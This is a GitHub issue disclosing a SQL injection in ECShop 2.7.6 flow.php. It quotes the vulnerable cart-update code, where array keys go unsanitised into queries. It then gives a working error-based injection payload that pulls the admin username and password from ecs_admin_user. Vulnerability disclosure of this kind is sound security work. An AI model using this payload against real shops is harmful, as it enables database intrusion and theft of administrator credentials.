New issue

Jump to bottom

ecshop 2.7.6 flow.php goods_number sql inject #7

Open **blindkey** opened this issue on Feb 17, 2020 · 0 comments

blindkey commented on Feb 17, 2020 • edited Owner

ecshop 2.7.6 flow.php

src:
https://github.com/shopex/ecshop/blob/master/upload/flow.php

```
1807
1808  elseif ($_REQUEST['step'] == 'update_cart')
1809  {
1810      if (isset($_POST['goods_number']) && is_array($_POST['goods_number']))
1811      {
1812          flow_update_cart($_POST['goods_number']);
1813      }
1814
1815      show_message($_LANG['update_cart_notice'], $_LANG['back_to_cart'], 'flow.php');
1816      exit;
1817  }
1818
1819  /*------------------------------------------------------ */
1820  //-- 删除购物车中的商品
1821  /*------------------------------------------------------ */
```

flow_update_cart($_POST['goods_number']);

so :

```
2186   */
2187  function flow_update_cart($arr)
2188  {
2189      /* 处理 */
2190      foreach ($arr AS $key => $val)
2191      {
2192          $val = intval(make_semiangle($val));
2193          if ($val <= 0 || !is_numeric($key))
2194          {
2195              continue;
2196          }
2197
2198          //查询:
2199          $sql = "SELECT `goods_id`, `goods_attr_id`, `product_id`, `extension_code` FROM" .$GLOBALS['ecs']->table('cart').
2200                 " WHERE rec_id='$key' AND session_id='" . SESS_ID . "'";
2201          $goods = $GLOBALS['db']->getRow($sql);
2202
2203          $sql = "SELECT g.goods_name, g.goods_number ".
2204                  "FROM " .$GLOBALS['ecs']->table('goods'). " AS g, ".
2205                      $GLOBALS['ecs']->table('cart'). " AS c ".
2206                  "WHERE g.goods_id = c.goods_id AND c.rec_id = '$key'";
2207          $row = $GLOBALS['db']->getRow($sql);
```

use to make value as int ,but forget to do the same with key vars .. so leads to sql inject .

hackers can do this like :

```
goods_number[-1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,user_name,0x7c,password,0x27,0x7e)) from ecs_admin_user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# and '1'='1] = value
```

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant